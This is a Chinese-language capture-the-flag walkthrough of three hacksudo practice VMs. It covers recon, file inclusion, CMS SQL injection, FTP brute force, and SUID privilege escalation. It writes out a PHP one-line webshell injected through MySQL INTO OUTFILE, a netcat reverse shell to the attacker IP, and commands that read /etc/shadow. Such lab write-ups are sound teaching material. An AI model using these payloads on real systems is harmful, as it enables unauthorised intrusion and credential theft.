Hacksudo Search

Hacksudo:Search

一、基本信息

名称:hacksudo:search

发布日期:2021.4.16

作者:Vishal Waghmare

系列:hacksudo

二、靶机简介

Flags:

root:/root/root.txt

难度:简单

三、文件信息

文件名:hacksudo-search.zip

文件大小:853MB

下载地址:

MD5: DA5AF5CA7DE9C5FE77CF351631D262A7

SHA1: 28C122BCBD488FFA4B9660123D0A07DAFD065581

四、镜像信息

格式:Virtual Machine (Virtualbox - OVA)

操作系统:Linux(debain)

五、网络信息

DHCP服务:可用

IP地址:自动分配

六、环境配置

1.将靶机Search和攻击机kali2021在VirtualBox下设置为仅主机模式,使用DHCP分配ip地址:

image-

七、攻略步骤

信息探测

1.因为是没有直接告知我们靶机ip的,所以要先进行主机探测,先查看下kali分配到的ip,在进行网段扫描,命令如下,得到靶机ip为192.168.56.102:

1
ifconfig,查看kali分配到的ip

image-

1
nmap -sP 192.168.56.0/24,扫描靶机ip

image-

2.再进行端口扫描,发现只开放22,80端口,访问主页是一个搜索框,同时可以直接看到search.php:

1
nmap -T4 -sC -sV -p- --min-rate=1000 192.168.56.111 | tee nmapscan,端口扫描

image-

image-

3.最后再进行一下目录扫描,发现一个search1.php的文件,可以进行访问:

1
gobuster dir -u http://192.168.56.111/ -x html,php,bak,txt --wordlist /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt,目录扫描

image-

image-

发现文件包含漏洞

1.访问search1.php文件发现比search.php多了上栏,且通过修改About页地址me大小写,能够发现存在文件包含漏洞,在源码中也有提示:

image-

2.可以通过页面输出内容,也可用测试存在RFI:

image-

上传webshell

1.修改kali自带的webshell,/usr/share/webshells/php/php-reverse-shell.php,在同目录下kali开启http服务:

image-

image-

2.通过文件包含漏洞让靶机获取webshell,kali开启监听端口,访问触发,再用python构建交互式shell:

image-

1
python3 -c 'import pty;pty.spawn("/bin/bash")'

image-

3.在/usr/www/html目录下能够发现一个.env文件,文件内有一个数据库用户和密码,但是无法登录:

image-

4.后来发现,这个密码是hacksudo用户ssh登录的密码,用户目录下user.txt即是第一个flag:

image-

root提权

1.进入hacksudo用户,查看具有root权限的suid文件,尝试提权:

1
find / -perm -u=s -type f 2>/dev/null

image-

2.查询到cpulimit文件,再去https://gtfobins.github.io/查询提权方式:

image-

3.成功登录root用户,在/root目录下发现flag,root.txt:

1
2
3
4
5
6
cd /tmp
echo '/bin/bash -i' > install
chmod +x install
cd ~/search/tools/
export PATH=/tmp/:$PATH
./searchinstall -p

image-

4.在/root目录下,可以找到flag,即root.txt:

image-

Hacksudo FOG

Hacksudo:FOG

一、基本信息

名称:hacksudo:FOG

发布日期:2021.5.14

作者:Vishal Waghmare

系列:hacksudo

二、靶机简介

Flags:

hacksudo:/flag1.txt
www-data:/var/www/flag2.txt
root:/root/root.txt

难度:中等

三、文件信息

文件名:hacksudo-FOG.zip

文件大小:1.3GB

下载地址:

MD5: FE8360E56637FE0D278EF2C38F15B969

SHA1: 31B1210F45C74D3062A0EDD5677C6BB770EB26AF

四、镜像信息

格式:Virtual Machine (Virtualbox - OVA)

操作系统:Linux(debain)

五、网络信息

DHCP服务:可用

IP地址:自动分配

六、环境配置

1.将靶机FOG和攻击机kali2021在VirtualBox下设置为仅主机模式,使用DHCP分配ip地址:

image-

七、攻略步骤

信息探测

1.因为是没有直接告知我们靶机ip的,所以要先进行主机探测,先查看下kali分配到的ip,在进行网段扫描,命令如下,得到靶机ip为192.168.56.102:

1
ifconfig,查看kali分配到的ip

image-

1
nmap -sP 192.168.56.0/24,扫描靶机ip

image-

2.再进行端口扫描,发现开放了很多端口,访问主页源码中隐藏了一个index1.html:

1
nmap -T4 -sC -sV -p- --min-rate=1000 192.168.56.112 | tee nmapscan,端口扫描

image-

image-

3.最后再进行一下目录扫描,index1.html提示我们一个音频文件提取工具:

1
gobuster dir -u http://192.168.56.112/ -x html,php,bak,txt --wordlist /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt,目录扫描

image-

image-

CMS漏洞利用

1.我们将提示的解析工具下载下来,尝试用工具解析index.html页的smoke.mp4,但不是wav格式没有信息:

1
2
3
4
git clone https://github.com/hacksudo/SoundStegno.git,获取工具
cd SoundStegno
wget http://192.168.56.112/smoke.mp4
python3 ExWave.py -f smoke.mp4

image-

2.通过之前的目录扫描,我们发现有cms页面和一个dict.txt文件:

image-

image-

3.将dict.txt文件下载,很可能是密码字典,再去查询cms的漏洞,发现是2.2.5版本,有未经身份验证的SQL注入漏洞可以使用:

1
2
wget http://192.168.56.112/dict.txt
whatweb http://192.168.56.112/cms,查看框架版本

image-

1
python3 cmsmadesimple-exploit.py -u http://192.168.56.112/cms,漏洞利用程序获取见:https://gist.github.com/kriss-u/321f0418778697e2ec919f04664ceb4b

image-

4.知晓了用户名,写入user,可以尝试使用hydra爆破密码,登录FTP:

1
hydra -L user -P dict.txt 192.168.56.112 ftp

image-

FTP登录,提取音频隐藏信息

1.可以使用hacksudo用户FTP登录,获取到第一个flag,即flag1.txt:

image-

image-

2.进入hacksudo_ISRO_bak目录,发现secr3tSteg.zip文件,需要密码,我们用zip2john配合john获得密码:

image-

1
zip2john secr3tSteg.zip >> hash.txt

image-

image-

3.解压得到的hacksudoSTEGNO.wav可以使用SoundStegno进行解密:

1
python3 ExWave.py -f hacksudoSTEGNO.wav

image-

4.根据之前index1.html页源码的提示,需要用到caesar-cipher解密,我们解密这个数据可以得到一个用户名密码,这个用户与密码可用于登录cms后台:

image-

image-

文件上传漏洞GETSHELL

1.进入cms后台的content页,可以上传phtml文件后缀的webshell,这里我们使用kali自带的webshell进行修改后上传:

1
vim /usr/share/webshells/php/php-reverse-shell.php

image-

image-

2.kali开启对应端口监听,触发webshell,利用python生成交互式shell:

1
python3 -c 'import pty; pty.spawn("/bin/bash");'

image-

3.在/var/www目录下能发现第二个flag,即flag2.txt:

image-

初步提权,SSH登录

1.查看具有root权限的suid文件,尝试提权,发现/usr/bin/look:

1
find / -perm -u=s -type f 2>/dev/null

image-

image-

2.通过在https://gtfobins.github.io/上查找发现可以使用look查看具有root权限的文件,则用look查看/etc/shadow可以发现root及isro用户的密码hash,使用john解一下:

image-

image-

image-

3.爆出isro用户密码为qwerty,可以进行ssh登录,然后在目录下查看到user.txt:

image-

root提权

1.我们进入/fog目录下,发现有一个fog文件属主为root,查看不出来,但是执行后与python2.7相关联,则可以通过python进行root提权:

image-

image-

2.在/root目录下的root.txt即是我们需要的最后一个flag:

image-

Hacksudo Aliens

Hacksudo:Aliens

一、基本信息

名称:hacksudo:aliens

发布日期:2021.4.4

作者:Vishal Waghmare

系列:hacksudo

二、靶机简介

Flags:

root:/root/root.txt

难度:中等

三、文件信息

文件名:HacksudoAliens.zip

文件大小:2.3GB

下载地址:

MD5: DEFA809B70DADCC72011AAFBB03D1FF6

SHA1: 6E68D6D06692D2C3ACBC1E1C3AEA271A226CD24D

四、镜像信息

格式:Virtual Machine (Virtualbox - OVA)

操作系统:Linux(debain)

五、网络信息

DHCP服务:可用

IP地址:自动分配

六、环境配置

1.将靶机Aliens和攻击机kali2021在VirtualBox下设置为仅主机模式,使用DHCP分配ip地址:

image-

七、攻略步骤

信息探测

1.因为是没有直接告知我们靶机ip的,所以要先进行主机探测,先查看下kali分配到的ip,在进行网段扫描,命令如下,得到靶机ip为192.168.56.102:

1
ifconfig,查看kali分配到的ip

image-

1
nmap -sP 192.168.56.0/24,扫描靶机ip

image-

2.再进行端口扫描,发现开放22,80,9000端口,访问主页,源码内有没有过多提示:

1
nmap -T4 -sC -sV -p- --min-rate=1000 192.168.56.110 | tee nmapscan,端口扫描

image-

image-

3.最后再进行一下目录扫描,两个目录,访问/backup目录,下面mysql.bak文件内有用户和密码:

1
gobuster dir -u http://192.168.56.110/ -x html,php,bak,txt --wordlist /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt,目录扫描

image-

image-

image-

登录phpadmin,写入shell

1.因为端口扫描到了9000端口是phpadmin的服务,利用刚才mysql.bak内的账号密码可成功登录:

image-

2.可以查看secure_file_priv的值为空,mysql可读可写,可以先用一句话php木马尝试,这里直接写入shell,在kali同步开启监听:

1
SHOW VARIABLES LIKE "secure_file_priv";

image-

1
SELECT “<?php system($_GET[‘cmd’]);?>” INTO OUTFILE “/var/www/html/alien.php”,一句话木马

image-

1
http://192.168.56.110/alien.php?cmd=nc%20192.168.56.102%20%208989%20%20-e%20/bin/bash,浏览器输入payload,kali同步开启8989端口监听

image-

root权限文件查询,准备提权

1.查找具有root权限的suid文件,进行suid提权:

1
find / -perm -u=s -type f 2>/dev/null

image-

2.访问https://gtfobins.github.io/,对查到的内容进行比对尝试提权:

image-

1
2
LFILE=/etc/shadow
date -f $LFILE

image-

3.很明显得到的数据是hacksudo及其密码,将字符串拷贝到alien.txt,我们利用john对其解密:

image-

root提权

1.进入hacksudo用户,再次查看具有root权限的suid文件,尝试提权:

image-

2.查询到cpulimit文件,再去https://gtfobins.github.io/查询提权方式:

image-

image-

3.成功登录root用户,在/root目录下发现flag,root.txt:

image-